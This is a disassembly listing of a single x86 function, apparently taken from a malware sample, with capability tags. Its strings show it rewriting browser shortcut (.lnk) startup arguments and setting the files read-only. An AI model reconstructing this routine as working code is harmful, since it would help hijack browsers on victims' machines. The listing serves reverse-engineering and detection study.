Function at 0x1002b907
Capabilities:
Get common file path
Set file attributes

Disassembly:
push 0x21c
mov eax, 0x10109c21
call fcn.100c7e75
mov eax, ecx
mov dword [ebp - 0x1c8], eax
mov ecx, dword [ebp + 0xc]
xor bl, bl
push dword [eax + 4]
mov dword [ebp - 0x200], ecx
lea ecx, [ebp - 0x1e4]
call fcn.10002047
and dword [ebp - 4], 0
lea edi, [ebp - 0x18c]
push 0xa
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
push str.shared::malware::IBrowser::BrowserStartupOptionsSetup
lea ecx, [ebp - 0x228]
call fcn.10001c43
lea eax, [ebp - 0x228]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x18c]
call fcn.10014988
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 3
call fcn.10002013
mov esi, 0x104
lea eax, [ebp - 0x114]
push esi
push 0
push eax
call fcn.100c95b0
add esp, 0xc
lea eax, [ebp - 0x114]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x1002bf2d
push eax
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x164]
call fcn.100019ae
mov esi, dword [ebp + 8]
mov byte [ebp - 4], 4
cmp dword [esi + 8], 0
je 0x1002bf1e
push 8
xor eax, eax
lea edi, [ebp - 0x14c]
pop ecx
rep stosd dword es:[edi], eax
and dword [ebp - 0x14c], eax
xor edi, edi
push 0x20
mov dword [ebp - 0x148], edi
mov dword [ebp - 0x144], edi
call fcn.100c742f
pop ecx
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x140], edi
mov dword [ebp - 0x13c], edi
mov dword [ebp - 0x138], edi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x140]
push eax
push 0x10
mov dword [ebp - 0x134], 7
mov dword [ebp - 0x130], 8
mov dword [ebp - 0x14c], 0x3f800000
call fcn.1002c13f
mov byte [ebp - 4], 7
mov eax, dword [esi + 4]
mov dword [ebp - 0x1c0], eax
mov esi, dword [eax]
cmp esi, eax
je 0x1002bafd
push ecx
push ecx
mov eax, esp
lea edx, [esi + 8]
lea ecx, [ebp - 0x1e0]
mov dword [eax], str.startup_parameters__
mov dword [eax + 4], 0x16
call fcn.100159e6
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 8
call fcn.10013c14
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 7
call fcn.10002013
push ecx
push ecx
lea ecx, [ebp - 0x208]
call fcn.10014342
push ecx
lea edx, [esi + 8]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1e0]
call fcn.10016675
pop ecx
push eax
lea eax, [ebp - 0x210]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x14c]
call fcn.1002c44e
lea ecx, [ebp - 0x1e0]
call fcn.100145b0
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 7
call fcn.100143bd
mov eax, dword [esi]
mov esi, eax
cmp eax, dword [ebp - 0x1c0]
jne 0x1002ba5b
mov edi, dword [ebp - 0x1c8]
mov esi, dword [edi + 0x18]
mov eax, dword [edi + 0x1c]
cmp esi, eax
jne 0x1002bb37
lea ecx, [ebp - 0x140]
call fcn.1002c107
lea ecx, [ebp - 0x148]
call fcn.1002c128
lea ecx, [ebp - 0x164]
mov byte [ebp - 4], 3
call fcn.10002013
jmp 0x1002bf33
mov edi, eax
xor eax, eax
mov bh, al
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], al
mov edx, esi
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1e0]
call fcn.10015f8e
mov ecx, eax
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x164]
cmp dword [ebp - 0x150], 0x10
push dword [ebp - 0x154]
cmovae eax, dword [ebp - 0x164]
push eax
push 0
call fcn.10021dbf
push eax
lea ecx, [ebp - 0x1fc]
call fcn.10001c7a
lea eax, [ebp - 0x1fc]
push eax
lea ecx, [ebp - 0x12c]
call fcn.1000fedd
lea ecx, [ebp - 0x1fc]
call fcn.10002013
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0xc
call fcn.10002013
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
push 0x80
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x1002bbf4
mov eax, dword [esi]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x101436c8
lea ecx, [ebp - 0x1fc]
mov dword [ebp - 0x1c0], 0x40
call fcn.10001c43
lea eax, [ebp - 0x1c0]
mov byte [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x1fc]
mov edx, esi
push eax
lea ecx, [ebp - 0x1bc]
call fcn.100019e8
pop ecx
pop ecx
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 0x10
call fcn.10002013
cmp dword [ebp - 0x1ac], 0
jne 0x1002bc8c
push ecx
push ecx
mov eax, esp
lea ecx, [ebp - 0x1e0]
mov dword [eax], str.Load_lnk_buffer__
mov dword [eax + 4], 0x13
call fcn.1001e9a9
pop ecx
pop ecx
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x18c]
call fcn.10013c14
lea ecx, [ebp - 0x1e0]
jmp 0x1002be62
lea eax, [ebp - 0x1c0]
mov dword [ebp - 0x1c0], 0x32
push eax
lea edx, [ebp - 0x1bc]
lea ecx, [ebp - 0x12c]
call fcn.10010496
pop ecx
push ecx
push ecx
test al, al
jne 0x1002bcd7
mov eax, esp
lea ecx, [ebp - 0x1e0]
mov dword [eax], str.Write_lnk_buffer__
mov dword [eax + 4], 0x14
call fcn.1001e9a9
pop ecx
pop ecx
mov byte [ebp - 4], 0x12
jmp 0x1002bc75
lea ecx, [ebp - 0x208]
call fcn.10014342
push ecx
lea edx, [ebp - 0x12c]
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1e0]
call fcn.10016675
pop ecx
lea edx, [ebp - 0x14c]
mov byte [ebp - 4], 0x14
mov ecx, eax
call fcn.1002d125
lea ecx, [ebp - 0x1e0]
mov bl, al
call fcn.100145b0
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 0x10
call fcn.100143bd
test bl, bl
jne 0x1002bd51
push ecx
push ecx
mov eax, esp
lea ecx, [ebp - 0x1e0]
mov dword [eax], str.SetLnkArguments__
mov dword [eax + 4], 0x13
call fcn.1001e9a9
pop ecx
pop ecx
mov byte [ebp - 4], 0x15
jmp 0x1002bc75
push 0x101436c8
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x1c0], 0x40
call fcn.10001c43
lea eax, [ebp - 0x1c0]
mov byte [ebp - 4], 0x16
push eax
lea eax, [ebp - 0x1e0]
push eax
lea edx, [ebp - 0x12c]
lea ecx, [ebp - 0x1a4]
call fcn.100019e8
pop ecx
pop ecx
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0x18
call fcn.10002013
cmp dword [ebp - 0x194], 0
je 0x1002be5c
lea eax, [ebp - 0x1c0]
mov dword [ebp - 0x1c0], 0x32
push eax
lea edx, [ebp - 0x1a4]
mov ecx, esi
call fcn.10010496
pop ecx
test al, al
jne 0x1002be0a
push ecx
push ecx
mov eax, esp
lea ecx, [ebp - 0x1fc]
mov dword [eax], str.WriteFile_setlnk_buffer__
mov dword [eax + 4], 0x1b
call fcn.1001e9a9
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x19
call fcn.10013c14
lea ecx, [ebp - 0x1fc]
call fcn.10002013
jmp 0x1002be5c
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x1002be14
mov eax, dword [esi]
push 1
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x1002be5a
push ecx
push ecx
mov eax, esp
lea ecx, [ebp - 0x1fc]
mov dword [eax], str.SetFileAttributesA_readOnly__
mov dword [eax + 4], 0x1f
call fcn.1001e9a9
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x1a
call fcn.10013c14
lea ecx, [ebp - 0x1fc]
call fcn.10002013
mov bh, 1
lea ecx, [ebp - 0x1a4]
call fcn.10002013
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 0xc
call fcn.10002013
cmp dword [ebp - 0x11c], 0
je 0x1002be9a
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call fcn.100d2fc1
pop ecx
mov ecx, str.failed
test bh, bh
mov eax, str.success
mov edx, esi
cmove eax, ecx
mov dword [ebp - 0x1c0], eax
lea eax, [ebp - 0x1c0]
push eax
push ecx
push ecx
mov eax, esp
lea ecx, [ebp - 0x1e0]
push 0x18
pop ebx
mov dword [eax], str.Lnk___setup_result__
mov dword [eax + 4], ebx
call fcn.1002c5fb
add esp, 0xc
push eax
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x1b
call fcn.10013c14
lea ecx, [ebp - 0x1e0]
call fcn.10002013
lea ecx, [ebp - 0x12c]
call fcn.10002013
add esi, ebx
cmp esi, edi
jne 0x1002bb39
lea ecx, [ebp - 0x140]
mov bl, 1
call fcn.1002c107
lea ecx, [ebp - 0x148]
call fcn.1002c128
lea ecx, [ebp - 0x164]
mov byte [ebp - 4], 3
call fcn.10002013
mov edi, dword [ebp - 0x1c8]
lea ecx, [ebp - 0x18c]
call fcn.10013afb
lea eax, [ebp - 0x18c]
lea esi, [edi + 0x24]
push eax
mov ecx, esi
call fcn.100139cb
mov ecx, 0x101436e8
test bl, bl
mov eax, 0x101436cc
cmove eax, ecx
lea ecx, [ebp - 0x1fc]
push eax
call fcn.10001c43
push str.StartupOptionsSetupResult
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0x1c
call fcn.10001c43
lea eax, [ebp - 0x1fc]
mov byte [ebp - 4], 0x1d
push eax
lea eax, [ebp - 0x1e0]
mov ecx, esi
push eax
call fcn.10001785
lea ecx, [ebp - 0x1e0]
call fcn.10002013
lea ecx, [ebp - 0x1fc]
mov byte [ebp - 4], 3
call fcn.10002013
mov edi, dword [ebp - 0x200]
cmp dword [edi + 0x24], 0
je 0x1002bfe9
lea eax, [ebp - 0x1e0]
mov ecx, esi
push eax
call fcn.1002d0cd
mov edx, eax
mov byte [ebp - 4], 0x1e
mov ecx, dword [edi + 0x24]
test ecx, ecx
je 0x1002c00a
mov eax, dword [ecx]
push edx
call dword [eax + 8]
lea ecx, [ebp - 0x1e0]
call fcn.10002013
lea ecx, [ebp - 0x18c]
call fcn.10014715
push dword [ebp - 0x1e4]
call fcn.1004f2b0
pop ecx
mov al, bl
call fcn.100c7e24
ret 8
call fcn.1004f5e2
int3